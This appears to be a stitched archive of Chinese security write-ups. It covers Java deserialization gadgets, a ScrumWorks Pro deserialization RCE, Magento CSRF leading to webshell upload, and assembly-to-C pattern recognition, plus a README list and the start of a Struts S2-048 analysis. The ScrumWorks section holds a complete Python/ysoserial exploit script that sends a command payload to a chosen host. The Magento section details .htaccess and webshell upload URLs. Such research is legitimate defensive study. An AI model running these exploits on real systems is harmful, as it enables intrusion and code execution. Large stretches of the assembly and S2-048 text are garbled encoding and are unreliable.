object"); } // if the object is a Class, call a static method from that class if (object instanceof Class) { Class theClass = (Class) object; MetaClass metaClass = metaRegistry.getMetaClass(theClass); return metaClass.invokeStaticMethod(object, methodName, asArray(arguments)); } // it's an instance; check if it's a Java one if (!(object instanceof GroovyObject)) { return invokePojoMethod(object, methodName, arguments); } // a groovy instance (including builder, closure, ...) return invokePogoMethod(object, methodName, arguments); } ``` 再看MethodClosure类的说明: >Represents a method on an object using a closure which can be invoked at any time 大体说的是通过构建指定对象以及调用方法的Closure的实例就可以在任何时候进行调用。我们构造一个调用java.lang.ProcessBuilder对象的start方法来弹出计算器: ``` MethodClosure mc = new MethodClosure(new java.lang.ProcessBuilder("open","/Applications/Calculator.app"), "start"); mc.call(); ``` 这样基本上可以实现任意代码的执行,但反过来如何触发hashCode方法就是我们实现任意代码执行的关键。 首先我们需要知道hashCode函数的作用,当两个对象比较是否相等的时候,会调用该对象的hashCode以及equals方法进行比较,如果这两个方法返回的结果一致,那么认为这两个对象是相等,如果被调用对象没有重写hashCode以及equals方法,那么会调用父类的默认实现。 这里明白hashCode的作用之后,再来说说HashMap的put方法,该方法的定义如下 ``` public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key.hashCode()); ... } ``` 因为Map是一种key-value类型的数据结构,所以Map集合不允许有重复key,所以每次在往集合中添加键值对时会去判断key是否相等,那么在判断是否相等时会调用key的hashCode方法,如果我们精心构造一个groovy.util.Expando对象作为Map集合的key,那么在将对象添加进集合时就会触发groovy.util.Expando的hashCode方法,从而触发我们的恶意代码。 所以根据上面分析可以构造poc: ``` Map map = new HashMap(); Expando expando = new Expando(); MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder("open","/Applications/Calculator.app"), "start"); //methodClosure.call(); expando.setProperty("hashCode", methodClosure); map.put(expando, test); ``` 最终的调用链如下: >MapConverter#populateMap() calls HashMap#put()->HashMap#put() calls Expando#hashCode()->Expando#hashCode() calls MethodClosure#call()->MethodClosure#call() calls MethodClosure#doCall()->MethodClosure#doCall() calls InvokerHelper#invokeMethod()->InvokerHelper#invokeMethod() calls ProcessBuilder#start() #### 利用其它库实现任意代码执行 除了commons-collections 3.1可以用来利用java反序列化漏洞,还有以下第三方库同样可以用来利用反序列化漏洞并执行任意代码: * commons-fileupload 1.3.1 * commons-io 2.4 * commons-collections 3.1 * commons-logging 1.2 * commons-beanutils 1.9.2 * org.slf4j:slf4j-api 1.7.21 * com.mchange:mchange-commons-java 0.2.11 * org.apache.commons:commons-collections 4.0 * com.mchange:c3p0 0.9.5.2 * org.beanshell:bsh 2.0b5 * org.codehaus.groovy:groovy 2.3.9 * org.springframework:spring-aop 4.1.4.RELEASE * ...... ### 漏洞分析 #### 概述 国外安全人员发现ScrumWorks Pro 6.7.0版本中存在反序列化漏洞,成功利用该漏洞可导致任意代码执行。 >CollabNet ScrumWorks Pro is an Agile Project Management for Developers, Scrum Masters, and Business”. A trial version can be downloaded from the vendor: [https://www.collab.net/products/scrumworks](https://www.collab.net/products/scrumworks) #### 漏洞原理 ScrumWorks Pro提供一个web接口可以通过Java Web Start (JNLP)启动java客户端程序,java客户端发送反序列化对象给服务端程序,服务端接收数据处理函数如下: ``` --- protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws IOException { ServerSession localServerSession = getSession(paramHttpServletRequest); AbstractExecutableCommand localAbstractExecutableCommand = null; ObjectInputStream localObjectInputStream = new ObjectInputStream(new GZIPInputStream(paramHttpServletRequest.getInputStream())); try { AbstractCommand localAbstractCommand = (AbstractCommand)localObjectInputStream.readObject(); localAbstractExecutableCommand = (AbstractExecutableCommand)Class.forName(getExecutableCommandName(localAbstractCommand)).newInstance(); paramHttpServletResponse.addHeader("X-SWP-responseType", "object"); if (localServerSession.isExpired()) { paramHttpServletRequest.getSession().invalidate(); sendResponse(paramHttpServletResponse, new ReAuthenticateException()); return; } localObject1 = ControllerUtils.extractUserFromAuthorizationHeader(paramHttpServletRequest); String str = localObject1 == null ? null : ((UserTO)localObject1).getUserName(); LOGGER.info("[User: " + str + "] command: " + localAbstractCommand); if (Maintenance.isMaintenanceMode()) { sendResponse(paramHttpServletResponse, ServerException.getMaintenanceModeException()); } else { runCommandIfAuthorized((UserTO)localObject1, localAbstractExecutableCommand, localAbstractCommand, paramHttpServletResponse); } } catch (ServerException localServerException) { localServerException.printStackTrace(); sendResponse(paramHttpServletResponse, localServerException); } catch (InvalidClassException localInvalidClassException) { LOGGER.error("An outdated client tried to send a command. Please log out and restart the client."); sendResponse(paramHttpServletResponse, new ServerException("The server has been updated. Please relaunch your client.", localInvalidClassException)); } catch (Exception localException) { LOGGER.debug("error handling request", localException); Object localObject1 = unwrapException(localException); LOGGER.error("error executing a command", (Throwable)localObject1); if (localAbstractExecutableCommand != null) { sendResponse(paramHttpServletResponse, ServerException.getMisconfiguredServerException((Exception)localObject1)); } } finally { localObjectInputStream.close(); } } --- ``` 可以看到首先对数据进行了zip解码,然后使用ObjectInputStream的readObject读取反序列化对象,造成反序列化漏洞。而ScrumWorks使用了第三方库Apache CommonsCollections (3.2.1),利用ysoserial生产payload即可利用该漏洞。 #### POC ```python # # Scrumworks Java Deserialization Remote Code Execution PoC # import httplib import urllib import sys import binascii # load the ysoserial.jar file sys.path.append("./ysoserial.jar") from ysoserial import * from ysoserial.payloads import * # ZIP support from java.io import ByteArrayOutputStream from java.io import ObjectOutputStream from java.util.zip import GZIPOutputStream print "Scrumworks Java Deserialization Remote Code Execution PoC" print "=========================================================" if len(sys.argv) != 4: print "usage: " + sys.argv[0] + " host port command\n" exit(3) payloadName = "CommonsCollections5" payloadClass = ObjectPayload.Utils.getPayloadClass(payloadName); if payloadClass is None: print("Can't load ysoserial payload class") exit(2); # serialize payload payload = payloadClass.newInstance() exploitObject = payload.getObject(sys.argv[3]) # create streams byteStream = ByteArrayOutputStream() zipStream = GZIPOutputStream(byteStream) objectStream = ObjectOutputStream(zipStream) objectStream.writeObject(exploitObject) # close streams objectStream.flush() objectStream.close() zipStream.close() byteStream.close() # http request print "sending serialized command" conn = httplib.HTTPConnection(sys.argv[1] + ":" + sys.argv[2]) conn.request("POST", "/scrumworks/UFC-poc-", byteStream.toByteArray()) response = conn.getresponse() conn.close() print "done" --- ``` ### 漏洞检测方案 #### 白盒检测 * 检测规则一,从漏洞利用原理角度出发:检测可利用的第三方库及版本,但这个可能会有遗漏,就是对引用的第三方库中是否也引入了这些可利用的第三方库。 * 检测规则二,解析java源代码,可以被序列化的类一定实现了Serializable接口且重写了readObject()方法。如果在项目代码某处调用了ObjectInputStream.readObject()且反序列化对象追溯到是可由外部参数输入控制则基本可以确定存在反序列化漏洞啦 #### 黑盒检测 调用ysoserial并依次生成各个第三方库的利用payload(也可以先分析依赖第三方包量,调用最多的几个库的paylaod即可),模拟http请求发送反序列化payload。可参考https://github.com/NickstaDB/SerialBrute/。根据代码执行成功与否判断是否存在漏洞。可以构造访问特定http站点的payload,以http访问请求记录判断代码是否执行。 #### 攻击检测 通过查看反序列化后的数据,可以看到反序列化数据开头包含两字节的魔术数字,这两个字节始终为十六进制的0xAC ED。接下来是两字节的版本号。我只见到过版本号为5(0x00 05)的数据。考虑到zip、base64各种编码,在攻击检测时可针对该特征进行匹配请求post中是否包含反序列化数据,判断是否为反序列化漏洞攻击。 00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl 00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A 00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat 00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU..... ### 修复方案 * 更新commons-collections、commons-io等第三方库版本; * 业务需要使用反序列化时,尽量避免反序列化数据可被用户控制,如果无法避免,则对反序列化后的类做白名单校验 * 禁止 JVM 执行外部命令 Runtime.exec ### 参考文献 * https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/ * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ * https://github.com/frohoff/ysoserial * https://paper.seebug.org/312/ * https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/ * Deserialize My Shorts:Or How I Learned to Start Worrying and Hate Java Object Deserialization * Exploiting Deserialization Vulnerabilities in Java * https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream * https://github.com/NickstaDB/SerialBrute/ ================================================ FILE: Magento CSRF Lead To Arbitrary File Upload Vulnerability.md ================================================ ## Magento CSRF Lead To Arbitrary File Upload Vulnerability ##### Date:2017.04.18 ------- ### 概述 国外安全公司DefenseCode研究人员发现了[Magento2](https://magento.com/)的一个CSRF漏洞,成功利用该漏洞可以导致任意文件上传进而实现任意代码执行。厂商至今仍未修复该漏洞。 ### 漏洞原因 [Magento](https://github.com/magento/magento2)是一套专业开源的电子商务系统,可以在github上clone下代码进行代码审计及漏洞挖掘。本文要说的这个CSRF漏洞是在管理员添加产品时程序会自动请求URL中的图片链接参数remote_image,保存至本地目录并进行预览。漏洞发生在程序\app\code\Magento\ProductVideo\Controller\Adminhtml\Product\Gallery\RetrieveImage.php文件execute函数中,代码如下: ```php public function execute() { $baseTmpMediaPath = $this->mediaConfig->getBaseTmpMediaPath();//返回路径为pub/media/tmp/catalog/product/ try { $remoteFileUrl = $this->getRequest()->getParam('remote_image'); $this->validateRemoteFile($remoteFileUrl);//验证url的协议头是否为http及https $originalFileName = basename($remoteFileUrl);//获取文件名称 $localFileName = Uploader::getCorrectFileName($originalFileName);//对文件名特殊字符进行处理,返回处理后的文件名 $localTmpFileName = Uploader::getDispretionPath($localFileName) . DIRECTORY_SEPARATOR . $localFileName;//getDispretionPath函数以文件名前两个字母作为两个目录名称 $localFileMediaPath = $baseTmpMediaPath . ($localTmpFileName);//拼接完整文件路径 $localUniqueFileMediaPath = $this->appendNewFileName($localFileMediaPath);//创建目录 $this->retrieveRemoteImage($remoteFileUrl, $localUniqueFileMediaPath);//请求文件并保存 $localFileFullPath = $this->appendAbsoluteFileSystemPath($localUniqueFileMediaPath);//返回完整路径 $this->imageAdapter->validateUploadFile($localFileFullPath);//校验文件目录,并判断文件类型是否为图片类型。如果不是抛出异常 $result = $this->appendResultSaveRemoteImage($localUniqueFileMediaPath);//校验通过则返回文件详细信息 } catch (\Exception $e) { $result = ['error' => $e->getMessage(), 'errorcode' => $e->getCode()]; } /** @var \Magento\Framework\Controller\Result\Raw $response */ $response = $this->resultRawFactory->create(); $response->setHeader('Content-type', 'text/plain'); $response->setContents(json_encode($result)); return $response; } ``` 代码通过获取'remote_image'的参数值,这里只判断了链接协议是否为HTTP及HTTPS,并未对文件类型及后缀进行判断。得到图片链接地址并以文件前两个字母作为两个目录名称,创建目录并请求文件以原文件名保存到在创建的目录中。最后在校验保存的文件时,如果传入的文件链接不是图片类型,则抛出异常。形如: {"error":"Disallowed file type.","errorcode":0} 其中getDispretionPath函数的代码在\lib\internal\Magento\Framework\File\Uploader.php文件614行,从代码实现可以看到获取了文件名前两个字母分别作为目录,并且如果字母为'.'时则替换为'_',代码如下: ```php public static function getDispretionPath($fileName) { $char = 0; $dispertionPath = ''; while ($char < 2 && $char < strlen($fileName)) { if (empty($dispertionPath)) { $dispertionPath = '/' . ('.' == $fileName[$char] ? '_' : $fileName[$char]); } else { $dispertionPath = self::_addDirSeparator( $dispertionPath ) . ('.' == $fileName[$char] ? '_' : $fileName[$char]); } $char++; } return $dispertionPath; } ``` retrieveRemoteImage函数调用封装的curl方法请求图片链接并保存到指定目录,其中也未做任何判断及处理,代码如下: ```php protected function retrieveRemoteImage($fileUrl, $localFilePath) { $this->curl->setConfig(['header' => false]); $this->curl->write('GET', $fileUrl); $image = $this->curl->read(); if (empty($image)) { throw new \Magento\Framework\Exception\LocalizedException( __('Could not get preview image information. Please check your connection and try again.') ); } $this->fileUtility->saveFile($localFilePath, $image); } ``` 校验目录及文件类型的函数validateUploadFile在lib\internal\Magento\Framework\Image\Adapter\AbstractAdapter.php文件711行,代码如下: ```php public function validateUploadFile($filePath) { if (!file_exists($filePath)) { throw new \InvalidArgumentException("File '{$filePath}' does not exists."); } if (!getimagesize($filePath)) { throw new \InvalidArgumentException('Disallowed file type.'); } $this->checkDependencies(); $this->open($filePath); return $this->getImageType() !== null; } ``` 虽然这里对目录及文件类型进行了校验,对于非图片类型的文件也抛出异常。但此时程序已经请求了链接并保存到本地目录中。从而实现了任意文件上传的目的。 ### 漏洞利用 在说这个漏洞利用之前先了解下CSRF。CSRF(Cross-Site Request Forgery,跨站点伪造请求),攻击者构造特定请求功能的链接诱使通过认证的真正用户或管理员点击。从而实现以受害者名义伪造请求,在未授权的情况下执行在权限保护之下的操作。 利用这个漏洞的思路就是通过构造请求,让登录用户访问,从而实现上传php文件并执行。但是上面分析也说道程序下载的文件保存在了pub/media/tmp/catalog/product/+文件名第一个字母/文件名第二个字母/文件名。tmp目录php文件并不会被解析,所以这里上传webshell的同时要在同一目录上传一个.htaccess文件。 .htaccess开启这个目录的PHP解析。内容如下: php_flag engine 1 php_flag设置可参考http://www.php.net/manual/zh/apache.configuration.php 在上传.htaccess文件时。该文件会保存为pub/media/tmp/catalog/product/_/h/.htaccess 所以php程序名称应以.h开头,如.hcmd.php,如: ```php ``` 然后构造请求,如 http://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.195/webshell/.htaccess http://10.65.10.195/magento2/admin_1bcbxa/product_video/product_gallery/retrieveImage/?remote_image=http://10.65.10.195/webshell/.hcmd.php 待管理员访问了上述链接后即可使用 http://10.65.10.195/magento2/pub/media/tmp/catalog/product/_/h/.hcmd.php访问webshell。 ### 伪造请求页面 ```html Magento2(CSRF)

Magento2 CSRF TEST

Magento2 CSRF TEST

``` ### 修复建议 这个漏洞主要有两个地方设计和实现的不够合理,所以代码的修复也会在两个地方进行修改: >* CSRF的修复,增加对refer的检测或使用Token防御CSRF攻击 >* 在请求预览图片时先校验文件及类型的合法性,然后再保存 ### 参考 [1] http://www.defensecode.com/advisories/DC-2017-04-003_Magento_Arbitrary_File_Upload.pdf [2] http://www.php.net/manual/zh/apache.configuration.php [3] http://www.freebuf.com/articles/web/55965.html ================================================ FILE: README.md ================================================ # 技术文章存档 ------ ## Paper list: > * Talking About Exploit Writing > * Bypassing AntiVirus Detection for Malicious PDFs > * MBR病毒分析 > * 使用bochs调试MBR > * 基于MBR的系统登录密码验证程序 > * PDF文件格式分析 > * 恶意PDF文件解析思路 > * Win 7下定位kernel32.dll基址及shellcode编写 > * CVE-2009-0658漏洞分析 > * Firefox vulnerability(CVE-2011-0065 ) Bypassing DEP > * CVE-2009-4324漏洞分析 > * Flash XSS漏洞挖掘 > * BurpSuite工具使用经验 > * More Insights On The APT > * 慢速http拒绝服务攻击及防御方案 > * 由交互式扫描联想到的实时漏洞感知方法 > * Recognizing C Code Constructs In Assembly > * SDL-软件安全设计初窥 > * AWVS AcuSensor功能分析 > * MobSF框架及源代码分析 > * PHP反序列化漏洞初窥 > * Struts S2-045 漏洞调试及分析 > * Struts2漏洞利用原理及OGNL机制研究 > * XXE(XML 实体注入)漏洞攻防分析 > * PHP代码审计初窥 > * S2-046 漏洞调试及分析 > * phpcms v9.6.0 wap模块 SQL注入分析 > * Magento CSRF Lead To Arbitrary File Upload Vulnerability > * Spring MVC Autobinding漏洞实例初窥 > * S2-048 漏洞调试及分析 > * Java反序列化漏洞分析及检测方案 > * S2-052漏洞分析 > * ScrumWorks Pro 反序列化漏洞分析 > * 浅谈Java反序列化漏洞修复方案 > * Spring AMQP远程代码执行漏洞(CVE-2017-8045)分析 > * JAVA安全编码与代码审计 > * 应用安全:JAVA反序列化漏洞之殇 > * 基于Web漏洞扫描的URL及网页框架聚类研究 > * Xstream反序列化漏洞修复方案 > * SpringBoot应用监控Actuator使用的安全隐患 > * GitLab web hooks SSRF(CVE-2018-8801) Patch analysis and How to safely fix SSRF > * JAVA代码审计之SSRF漏洞 > * CVE-2018-1260 spring-security-oauth2 RCE Analysis > * Gitlab Projects Import RCE Analysis > * CVE-2018-14667 - JBoss RichFaces EL Injection RCE Analysis > * CVE-2018-16621 Nexus Repository Manager3 任意EL表达式注入 > * SpEL injection(译) > * ...... ================================================ FILE: Recognizing C Code Constructs In Assembly.txt ================================================ # Recognizing C Code Constructs In Assembly ------ >Auth: Cryin#insight-labs.org Ķ֮ǰѾ˽x86ָܹ򹤳ʦȥÿָΪ̫гǧϰָΪһʦӴָзҳһЩӦ߼ԽṹĴ룬CԵһЩṹѭ䡢if䡢switchȡ󲿷ֵĶCԱдȻҲC++DelphiԡCǺͻԹеһּԡԶڸŵĶʦ˵ȴӷC ԵĴṹΪͷǸѡ ߼οڷ๤ʹIDA Proο£ > [IDA Pro Link](http://www.hex-rays.com/products/ida/support/download_freeware.shtml) > [The Unofficial Guide to the Worlds Most Popular Disassembler, 2nd Edition](http://item.jd.com/19176300.html) ĶʮͬCṹһнܣ ###ȫֱ;ֲ ȫֱԱеκκʹãֲֻĺʹáC ߵĶǻͬģڻȴ CԴ룺 ```c /*ȫֱ*/ int x = 1; int y = 2; void main() { x = x+y;printf("Total = %d\n", x); } ``` ```c /*ֲ*/ void main() { int x = 1; int y = 2; x = x+y; printf("Total = %d\n", x); } ``` : ``` /*ȫֱ*/ 00401003 mov eax, dword_40CF60 00401008 add eax, dword_40C000 0040100E mov dword_40CF60, eax ?00401013 mov ecx, dword_40CF60 00401019 push ecx 0040101A push offset aTotalD ;"total = %d\n" 0040101F call printf ``` ``` /*ֲ*/ 00401006 mov dword ptr [ebp-4], 0 0040100D mov dword ptr [ebp-8], 1 00401014 mov eax, [ebp-4] 00401017 add eax, [ebp-8] 0040101A mov [ebp-4], eax 0040101D mov ecx, [ebp-4] 00401020 push ecx 00401021 push offset aTotalD ; "total = %d\n" 00401026 call printf ``` ηпԿȫֲ֡ȫֱͨڴַãֲͨջַáCкܶ಻ͬ͵һھЩڻеıʽ CԴ룺 ``` /**/ int a = 0; int b = 1; a = a + 11; a = a - b; a--; b++; b = a % 3; ``` : ``` 00401006 mov [ebp+var_4], 0 //a ʼΪ0 0040100D mov [ebp+var_8], 1 //b ʼΪ1 00401014 mov eax, [ebp+var_4] ? 00401017 add eax, 0Bh //11 0040101A mov [ebp+var_4], eax 0040101D mov ecx, [ebp+var_4] 00401020 sub ecx, [ebp+var_8] ?//a-b 00401023 mov [ebp+var_4], ecx 00401026 mov edx, [ebp+var_4] 00401029 sub edx, 1 ? //-- 0040102C mov [ebp+var_4], edx 0040102F mov eax, [ebp+var_8] 00401032 add eax, 1 ? //++ 00401035 mov [ebp+var_8], eax 00401038 mov eax, [ebp+var_4] 0040103B cdq 0040103C mov ecx, 3 00401041 idiv ecx //% 00401043 mov [ebp+var_8], edx ?///edx ֵ ``` ͬԿabǾֲ˵dividiv ǽeaxУౣedxУὫedx ֵb ###if C һμ򵥵if 䣺 CԴ룺 ``` /*if */ int x = 1; int y = 2; if(x == y) { printf("x equals y.\n"); } else { printf("x is not equal to y.\n"); } ``` : ``` 00401006 mov [ebp+var_8], 1 0040100D mov [ebp+var_4], 2 00401014 mov eax, [ebp+var_8] 00401017 cmp eax, [ebp+var_4] ? 0040101A jnz short loc_40102B ?//˴ǰcmp бȽ 0040101C push offset aXEqualsY_ ; "x equals y.\n" 00401021 call printf 00401026 add esp, 4 00401029 jmp short loc_401038 ?//˴ֻǵתelse Ĵ 0040102B loc_40102B: 0040102B push offset aXIsNotEqualToY ; "x is not equal to y.\n" 00401030 call printf ``` 0040101A jnz short loc_40102B Cif䣬еתһC if 䡣һǶ׶if 䡣 CԴ룺 ``` /*Ƕif */ int x = 0; int y = 1; int z = 2; if(x == y) { if(z==0) { printf("z is zero and x = y.\n"); } else { printf("z is non-zero and x = y.\n"); } } else { if(z==0) { printf("z zero and x != y.\n"); } else { printf("z non-zero and x != y.\n"); } } ``` : ``` 00401006 mov [ebp+var_8], 0 0040100D mov [ebp+var_4], 1 00401014 mov [ebp+var_C], 2 0040101B mov eax, [ebp+var_8] 0040101E cmp eax, [ebp+var_4] 00401021 jnz short loc_401047 ? //if 00401023 cmp [ebp+var_C], 0 00401027 jnz short loc_401038 ? //if 00401029 push offset aZIsZeroAndXY_ ; "z is zero and x = y.\n" 0040102E call printf 00401033 add esp, 4 00401036 jmp short loc_401045 00401038 loc_401038: 00401038 push offset aZIsNonZeroAndX ; "z is non-zero and x = y.\n" 0040103D call printf 00401042 add esp, 4 00401045 loc_401045: 00401045 jmp short loc_401069 00401047 loc_401047: 00401047 cmp [ebp+var_C], 0 0040104B jnz short loc_40105C ? //if 0040104D push offset aZZeroAndXY_ ; "z zero and x != y.\n" 00401052 call printf 00401057 add esp, 4 0040105A jmp short loc_401069 0040105C loc_40105C: 0040105C push offset aZNonZeroAndXY_ ; "z non-zero and x != y.\n" 00401061 call printf ``` ͨIDA ͼηܷṹ̸ֱ: ![](http://i1.piimg.com/567571/38b53b81a2d820b2.jpg) ###ѭ ѭڳдзdzڷʶѭҲʮҪ ``` /*for ѭ*/ int i; for(i=0; i<100; i++) { printf("i equals %d\n", i); } ``` ``` 00401004 mov [ebp+var_4], 0 ? //ʼ 0040100B jmp short loc_401016 ? 0040100D loc_40100D: 0040100D mov eax, [ebp+var_4] ? 00401010 add eax, 1 //ۼ 00401013 mov [ebp+var_4], eax ? 00401016 loc_401016: 00401016 cmp [ebp+var_4], 64h ?//Ƚж 0040101A jge short loc_40102F ? 0040101C mov ecx, [ebp+var_4] 0040101F push ecx 00401020 push offset aID ; "i equals %d\n" 00401025 call printf //ѭ 0040102A add esp, 8 0040102D jmp short loc_40100D //ת ``` ʶfor ѭļԵ00401004 ʼ00401010 ۼӣ00401016бȽϣ00401025 ִв0040102D һתִѭ´ͿԺ׷һfor ѭ롣 ҲͨIDA ͼηܲ鿴ֱ: ![](http://i1.piimg.com/567571/a490e729950cb7fe.jpg) ``` /*while ѭ*/ int status=0; int result = 0; while(status == 0) { result = performAction(); status = checkResult(result); } ``` Ӧķ ``` 00401036 mov [ebp+var_4], 0 0040103D mov [ebp+var_8], 0 00401044 loc_401044: 00401044 cmp [ebp+var_4], 0 00401048 jnz short loc_401063 ? 0040104A call performAction 0040104F mov [ebp+var_8], eax 00401052 mov eax, [ebp+var_8] 00401055 push eax 00401056 call checkResult 0040105B add esp, 4 0040105E mov [ebp+var_4], eax 00401061 jmp short loc_401044 ``` for ѭ࣬00401048һȽȻת00401061 һתѭִwhile䡣 ###Լ һȽѹջ߼ĴУںýЩĴջռᱻȻͬԼͬ ``` /*Լ*/ int test(int x, int y, int z); int a, b, c, ret; ret = test(a, b, c); ``` ֺԼֱcdeclstdcallfastcallֱֵõĻ ####cdecl cdeclǽմҵ˳ѹջУýջռ䣬ֵEAX ĴС ``` push c push b push a call test add esp, 12 //clean stack mov ret, eax ``` ####stdcall stdcall Windows API õı׼áʹñȽϹ㷺һֵԼcdeclֻͬͨƽջҪջռ䡣 ####fastcall fastcall һǽǰͨĴݣһedxecxIJҵͨջݡһ㲻ҪƽջҪʱ ![](http://i1.piimg.com/567571/dc3436697d390cf7.jpg) ###switch ``` /*switch */ switch(i) { case 1:printf("i = %d", i+1); break; case 2:printf("i = %d", i+2); break; case 3:printf("i = %d", i+3); break; default: break; } ``` Ӧķ ``` 00401013 cmp [ebp+var_8], 1 //ÿһcmp һcase 00401017 jz short loc_401027 ? 00401019 cmp [ebp+var_8], 2 0040101D jz short loc_40103D 0040101F cmp [ebp+var_8], 3 00401023 jz short loc_401053 00401025 jmp short loc_401067 ?//break 00401027 loc_401027: 00401027 mov ecx, [ebp+var_4] ? 0040102A add ecx, 1 0040102D push ecx 0040102E push offset unk_40C000 ; i = %d 00401033 call printf 00401038 add esp, 8 0040103B jmp short loc_401067 0040103D loc_40103D: 0040103D mov edx, [ebp+var_4] ? 00401040 add edx, 2 00401043 push edx 00401044 push offset unk_40C004 ; i = %d 00401049 call printf 0040104E add esp, 8 00401051 jmp short loc_401067 00401053 loc_401053: 00401053 mov eax, [ebp+var_4] ? 00401056 add eax, 3 00401059 push eax 0040105A push offset unk_40C008 ; i = %d 0040105F call printf 00401064 add esp, 8 ``` Կ뿪ʼλcmpָjzָÿһоһcase ### ֱ飬b Ϊȫ֣a Ϊֲ ``` /**/ int b[5] = {123,87,487,7,978}; void main() { int i; int a[5]; for(i = 0; i<5; i++) { a[i] = i; b[i] = i; } } ``` ڷУͨĻַʵģĴСͨɼ ``` 00401006 mov [ebp+var_18], 0 0040100D jmp short loc_401018 0040100F loc_40100F: 0040100F mov eax, [ebp+var_18] 00401012 add eax, 1 00401015 mov [ebp+var_18], eax 00401018 loc_401018: 00401018 cmp [ebp+var_18], 5 0040101C jge short loc_401037 0040101E mov ecx, [ebp+var_18] 00401021 mov edx, [ebp+var_18] 00401024 mov [ebp+ecx*4+var_14], edx ? 00401028 mov eax, [ebp+var_18] 0040102B mov ecx, [ebp+var_18] 0040102E mov dword_40A000[ecx*4], eax ? 00401035 jmp short loc_40100F ``` Կͨdword_40A000bvar_14 aecx Ϊ. ###ṹ ``` /*ṹ*/ struct my_structure { int x[5]; char y; double z; }; struct my_structure *gms; void test(struct my_structure *q) { int i; q->y = 'a'; q->z = 15.6; for(i = 0; i<5; i++) { q->x[i] = i; } } void main() { gms = (struct my_structure *) malloc(sizeof(struct my_structure)); test(gms); } ``` ṹֻ࣬ǽṹͲͬ ``` 00401050 push ebp 00401051 mov ebp, esp 00401053 push 20h 00401055 call malloc 0040105A add esp, 4 0040105D mov dword_40EA30, eax 00401062 mov eax, dword_40EA30 00401067 push eax ? 00401068 call sub_401000 0040106D add esp, 4 00401070 xor eax, eax 00401072 pop ebp 00401073 retn 00401000 push ebp //Ҳַͨʽṹ 00401001 mov ebp, esp 00401003 push ecx 00401004 mov eax,[ebp+arg_0] 00401007 mov byte ptr [eax+14h], 61h 0040100B mov ecx, [ebp+arg_0] 0040100E fld ds:dbl_40B120 ? 00401014 fstp qword ptr [ecx+18h] 00401017 mov [ebp+var_4], 0 0040101E jmp short loc_401029 00401020 loc_401020: 00401020 mov edx,[ebp+var_4] 00401023 add edx, 1 00401026 mov [ebp+var_4], edx 00401029 loc_401029: 00401029 cmp [ebp+var_4], 5 0040102D jge short loc_40103D 0040102F mov eax,[ebp+var_4] 00401032 mov ecx,[ebp+arg_0] 00401035 mov edx,[ebp+var_4] 00401038 mov [ecx+eax*4],edx ? 0040103B jmp short loc_401020 0040103D loc_40103D: 0040103D mov esp, ebp 0040103F pop ebp 00401040 retn ``` arg_0 ǽṹĻַƫ0x14ǽṹеcharǰ61H ˣaơ ### ``` /*ı*/ struct node{int x;struct node * next;}; typedef struct node pnode; void main() { pnode * curr, * head; int i; head = NULL; for(i=1;i<=10;i++) { curr = (pnode *)malloc(sizeof(pnode)); curr->x = i; curr->next = head; head = curr; } curr = head; while(curr) { printf("%d\n", curr->x); curr = curr->next ; } } ``` ``` 0040106A mov [ebp+var_8], 0 00401071 mov [ebp+var_C], 1 00401078 loc_401078: 00401078 cmp [ebp+var_C], 0Ah 0040107C jg short loc_4010AB 0040107E mov [esp+18h+var_18], 8 00401085 call malloc 0040108A mov [ebp+var_4], eax 0040108D mov edx, [ebp+var_4] 00401090 mov eax, [ebp+var_C] 00401093 mov [edx], eax ? 00401095 mov edx, [ebp+var_4] 00401098 mov eax, [ebp+var_8] 0040109B mov [edx+4], eax ? 0040109E mov eax, [ebp+var_4] 004010A1 mov [ebp+var_8], eax 004010A4 lea eax, [ebp+var_C] 004010A7 inc dword ptr [eax] 004010A9 jmp short loc_401078 004010AB loc_4010AB: 004010AB mov eax, [ebp+var_8] 004010AE mov [ebp+var_4], eax 004010B1 loc_4010B1: 004010B1 cmp [ebp+var_4], 0 ? 004010B5 jz short locret_4010D7 004010B7 mov eax, [ebp+var_4] 004010BA mov eax, [eax] 004010BC mov [esp+18h+var_14], eax 004010C0 mov [esp+18h+var_18], offset aD ; "%d\n" 004010C7 call printf 004010CC mov eax, [ebp+var_4] 004010CF mov eax, [eax+4] 004010D2 mov [ebp+var_4], eax ? 004010D5 jmp short loc_4010B1 ``` ʶеʶָͬ͵Ķvar_4ֵeaxֵeax[eax+4]ֵ[eax+4]ǰһvar_4ֵֵvar_4һָͬһָĽṹԴ˼ʶ ### ⲿpractical malware analysisĶʼǣҪdzָκܿڻȥCֳṹÿһָȥͬıܻͬͨʵеIJϷ˼·һзdzİ Edit By [MaHua](http://mahua.jser.me) ================================================ FILE: S2-048 漏洞调试及分析.md ================================================ ### © ȿ[Struts2 ٷ](https://cwiki.apache.org/confluence/display/WW/S2-048)ĹϢɵ֪: Apache **Struts 2.3.x**汾**Struts 2 Struts 1 plugin** ִܵ© ### Struts 1 plugin: The Struts 1 plugin allows you to use existing Struts 1 Actions and ActionForms in Struts 2 applications. This plugin provides a generic Struts 2 Action class to wrap an existing Struts 1 Action,org.apache.struts2.s1.Struts1Action. ݿɲο[Struts 1 Plugin](http://struts.apache.org/docs/struts-1-plugin.html)򵥵˵org.apache.struts2.s1.Struts1Action ΪһWrapper࣬Խ Struts1ʱActionװΪStruts2еActionԱԼstruts2Ӧй ### ©DEMO Ѿмƪܰ¿Բοͨƪ¿˽⵽ٷṩdemoShowcaseеStruts1 Integrationʹڸ©struts-2.3.24-all.zipеdemoΪϸ´룺 SaveGangster.ActionʵΪStruts1ActionStruts1Action execute УöӦAction execute £ ``` java public String execute() throws Exception { ...... ...... Action action = null; try { //ȡActionthis.classNameΪSaveGangsterAction action = (Action)this.objectFactory.buildBean(this.className, (Map)null); } catch (Exception var12) { throw new StrutsException("Unable to create the legacy Struts Action", var12, actionConfig); } Struts1Factory strutsFactory = new 